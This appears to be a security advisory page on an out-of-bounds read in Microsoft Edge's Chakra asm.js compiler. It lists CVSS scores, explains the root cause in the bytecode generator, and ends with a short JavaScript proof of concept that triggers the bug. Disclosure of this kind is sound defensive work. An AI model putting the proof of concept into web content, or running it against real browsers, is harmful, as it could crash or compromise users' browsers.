Microsoft Edge Chakra asm.js Out-of-Bounds Read

2018.01.09
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 7.6/10
Impact Subscore: 10/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

/* Here's a snippet of AsmJSByteCodeGenerator::EmitAsmJsFunctionBody. AsmJsVar * initSource = nullptr; if (decl->sxVar.pnodeInit->nop == knopName) { AsmJsSymbol * initSym = mCompiler->LookupIdentifier(decl->sxVar.pnodeInit->name(), mFunction); if (initSym->GetSymbolType() == AsmJsSymbol::Variable) { // in this case we are initializing with value of a constant var initSource = initSym->Cast<AsmJsVar>(); } ... } ... if (initSource) { if (var->GetType().isDouble()) { mWriter.AsmReg2(Js::OpCodeAsmJs::Ld_Db, var->GetLocation(), mFunction->GetConstRegister<double>(initSource->GetDoubleInitialiser())); } Chakra thinks the PoC is valid asm.js code. What happens when the variable "b" gets initialized is: 1. mCompiler->LookupIdentifier is called with "a" as the first argument. And it returns the local variable "a", which is of type int, but not the double constant "a". 2. mFunction->GetConstRegister fails to find the int value in the double constant table. So it returns -1 which leads OOB read. PoC: */ function createModule() { 'use asm'; const a = 1.0; function f() { var b = a; var a = 0; } return f; } var f = createModule(); f();


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top